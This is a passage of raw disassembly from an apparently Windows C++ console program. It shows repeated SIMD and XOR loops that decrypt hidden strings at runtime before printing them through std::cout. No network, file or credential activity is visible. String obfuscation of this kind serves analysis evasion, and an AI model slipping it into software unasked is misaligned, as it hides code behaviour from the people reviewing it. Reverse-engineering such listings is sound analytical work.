packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x1bc]
xorps xmm2, xmm1
movd dword [rsp + 0x1bc], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x1c0], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0x1b8]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x6b
sub r8b, dl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xf
jl 0x14021ffb0
lea rdx, [rsp + 0x1b8]
mov rcx, r14
call fcn.1402433a0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x6b8], xmm0
mov qword [rsp + 0x6c8], rsi
mov qword [rsp + 0x6d0], 0xf
mov byte [rsp + 0x6b8], 0
bts edi, 0xe
mov dword [rsp + 0x44], edi
cmp byte [rax], 3
jne 0x140222e6e
mov rdx, qword [rax + 8]
lea rax, [rsp + 0x6b8]
cmp rax, rdx
je 0x140220076
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140220069
mov rdx, qword [rdx]
lea rcx, [rsp + 0x6b8]
call fcn.140241270
btr edi, 0xe
or edi, 0x3000
mov dword [rsp + 0x44], edi
movsd xmm0, qword [0x1402765a0]
movsd qword [rsp + 0x98], xmm0
movzx edx, word [0x1402765a8]
mov word [rsp + 0xa0], dx
movzx eax, byte [0x1402765aa]
mov byte [rsp + 0x98], 0x41
xor byte [rsp + 0x99], 0x43
xor byte [rsp + 0x9a], 0x45
xor byte [rsp + 0x9b], 0x47
xor byte [rsp + 0x9c], 0x49
xor byte [rsp + 0x9d], 0x4b
xor byte [rsp + 0x9e], 0x4d
xor byte [rsp + 0x9f], 0x4f
xor dl, 0x51
mov byte [rsp + 0xa0], dl
xor byte [rsp + 0xa1], 0x53
xor al, 0x55
mov byte [rsp + 0xa2], al
lea rdx, [rsp + 0x98]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402428f0
lea rdx, [rsp + 0x5d8]
cmp qword [rsp + 0x5f0], 0xf
cmova rdx, qword [rsp + 0x5d8]
mov r8, qword [rsp + 0x5e8]
mov rcx, rax
call fcn.140249550
movzx ecx, word [0x140275b10]
mov word [rsp + 0x40], cx
cmp byte [0x140275b11], 0
je 0x140220163
mov byte [rsp + 0x40], 0xa
xor byte [rsp + 0x41], 0x43
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.1402428f0
mov ecx, dword [0x140277fcc]
mov dword [rsp + 0xb0], ecx
movzx edx, word [0x140277fd0]
mov word [rsp + 0xb4], dx
movzx ecx, byte [0x140277fd2]
mov byte [rsp + 0xb0], 0x48
xor byte [rsp + 0xb1], 0x43
xor byte [rsp + 0xb2], 0x45
xor byte [rsp + 0xb3], 0x47
xor dl, 0x49
mov byte [rsp + 0xb4], dl
xor byte [rsp + 0xb5], 0x4b
xor cl, 0x4d
mov byte [rsp + 0xb6], cl
lea rdx, [rsp + 0xb0]
mov rcx, rax
call fcn.1402428f0
lea rdx, [rsp + 0x658]
cmp qword [rsp + 0x670], 0xf
cmova rdx, qword [rsp + 0x658]
mov r8, qword [rsp + 0x668]
mov rcx, rax
call fcn.140249550
movzx ecx, word [0x140275b10]
mov word [rsp + 0x40], cx
cmp byte [0x140275b11], 0
je 0x140220228
mov byte [rsp + 0x40], 0xa
xor byte [rsp + 0x41], 0x43
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.1402428f0
mov r11, rax
movsd xmm0, qword [0x1402766b0]
movsd qword [rsp + 0x188], xmm0
mov edx, dword [0x1402766b8]
mov dword [rsp + 0x190], edx
movzx ecx, byte [0x1402766bc]
mov byte [rsp + 0x194], cl
mov r9d, esi
mov r14d, dword [0x14028a090]
cmp r14d, 2
jl 0x140220496
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1402766b0]
xorps xmm2, xmm0
movd dword [rsp + 0x188], xmm2
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x18c]
xorps xmm2, xmm1
movd dword [rsp + 0x18c], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rsp + 0x190], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0x188]
add r10, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x1402204b0
lea rdx, [rsp + 0x188]
mov rcx, r11
call fcn.1402428f0
lea rdx, [rsp + 0x618]
cmp qword [rsp + 0x630], 0xf
cmova rdx, qword [rsp + 0x618]
mov r8, qword [rsp + 0x628]
mov rcx, rax
call fcn.140249550
movzx ecx, word [0x140275b10]
mov word [rsp + 0x40], cx
cmp byte [0x140275b11], 0
je 0x14022055a
mov byte [rsp + 0x40], 0xa
xor byte [rsp + 0x41], 0x43
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.1402428f0
mov r11, rax
movsd xmm0, qword [0x140277ed8]
movsd qword [rsp + 0x198], xmm0
mov edx, dword [0x140277ee0]
mov dword [rsp + 0x1a0], edx
movzx ecx, byte [0x140277ee4]
mov byte [rsp + 0x1a4], cl
mov r9d, esi
cmp r14d, 2
jl 0x1402207c1
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140277ed8]
xorps xmm2, xmm0
movd dword [rsp + 0x198], xmm2
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x19c]
xorps xmm2, xmm1
movd dword [rsp + 0x19c], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rsp + 0x1a0], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0x198]
add r10, rax
nop
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x1402207d0
lea rdx, [rsp + 0x198]
mov rcx, r11
call fcn.1402428f0
lea rdx, [rsp + 0x5f8]
cmp qword [rsp + 0x610], 0xf
cmova rdx, qword [rsp + 0x5f8]
mov r8, qword [rsp + 0x608]
mov rcx, rax
call fcn.140249550
movzx ecx, word [0x140275b10]
mov word [rsp + 0x40], cx
cmp byte [0x140275b11], 0
je 0x14022087a
mov byte [rsp + 0x40], 0xa
xor byte [rsp + 0x41], 0x43
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.1402428f0
mov r11, rax
movsd xmm0, qword [0x140278268]
movsd qword [rsp + 0x1d8], xmm0
mov edx, dword [0x140278270]
mov dword [rsp + 0x1e0], edx
movzx ecx, word [0x140278274]
mov word [rsp + 0x1e4], cx
cmp byte [0x140278275], 0
je 0x140220b51
mov r9d, esi
cmp r14d, 2
jl 0x140220aef
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140278268]
xorps xmm2, xmm0
movd dword [rsp + 0x1d8], xmm2
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x1dc]
xorps xmm2, xmm1
movd dword [rsp + 0x1dc], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rsp + 0x1e0], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0x1d8]
add r10, rax
nop dword [rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x140220b00
lea rdx, [rsp + 0x1d8]
mov rcx, r11
call fcn.1402428f0
lea rdx, [rsp + 0x678]
cmp qword [rsp + 0x690], 0xf
cmova rdx, qword [rsp + 0x678]
mov r8, qword [rsp + 0x688]
mov rcx, rax
call fcn.140249550
movzx ecx, word [0x140275b10]
mov word [rsp + 0x40], cx
cmp byte [0x140275b11], 0
je 0x140220baa
mov byte [rsp + 0x40], 0xa
xor byte [rsp + 0x41], 0x43
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.1402428f0
mov r11, rax
movsd xmm0, qword [0x140276498]
movsd qword [rsp + 0x1c8], xmm0
mov edx, dword [0x1402764a0]
mov dword [rsp + 0x1d0], edx
movzx ecx, word [0x1402764a4]
mov word [rsp + 0x1d4], cx
movzx ecx, byte [0x1402764a6]
mov byte [rsp + 0x1d6], cl
mov r9d, esi
cmp r14d, 2
jl 0x140220e20
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140276498]
xorps xmm2, xmm0
movd dword [rsp + 0x1c8], xmm2
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x1cc]
xorps xmm2, xmm1
movd dword [rsp + 0x1cc], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rsp + 0x1d0], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0x1c8]
add r10, rax
nop
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xf
jl 0x140220e30
lea rdx, [rsp + 0x1c8]
mov rcx, r11
call fcn.1402428f0
lea rdx, [rsp + 0x698]
cmp qword [rsp + 0x6b0], 0xf
cmova rdx, qword [rsp + 0x698]
mov r8, qword [rsp + 0x6a8]
mov rcx, rax
call fcn.140249550
movzx ecx, word [0x140275b10]
mov word [rsp + 0x40], cx
cmp byte [0x140275b11], 0
je 0x140220eda
mov byte [rsp + 0x40], 0xa
xor byte [rsp + 0x41], 0x43
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.1402428f0
mov r11, rax
movups xmm4, xmmword [0x140275a28]
movups xmmword [rsp + 0x50], xmm4
movzx ecx, byte [0x140275a38]
mov byte [rsp + 0x60], cl
mov r9d, esi
cmp r14d, 2
jl 0x1402211cf
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm2, xmm0
movd eax, xmm4
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x58]
xorps xmm2, xmm1
movd dword [rsp + 0x58], xmm2
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x5c]
xorps xmm2, xmm1
movd dword [rsp + 0x5c], xmm2
mov r9d, 0x10
mov eax, r9d
lea r10, [rsp + 0x50]
add r10, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x11
jl 0x1402211e0
lea rdx, [rsp + 0x50]
mov rcx, r11
call fcn.1402428f0
lea rdx, [rsp + 0x6b8]
cmp qword [rsp + 0x6d0], 0xf
cmova rdx, qword [rsp + 0x6b8]
mov r8, qword [rsp + 0x6c8]
mov rcx, rax
call fcn.140249550
movzx ecx, word [0x140275b10]
mov word [rsp + 0x40], cx
cmp byte [0x140275b11], 0
je 0x140221287
mov byte [rsp + 0x40], 0xa
xor byte [rsp + 0x41], 0x43
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.1402428f0
mov r11, rax
movups xmm0, xmmword [str.lnhjdf_bxztvprLNHJDF_BXwvqutyK]
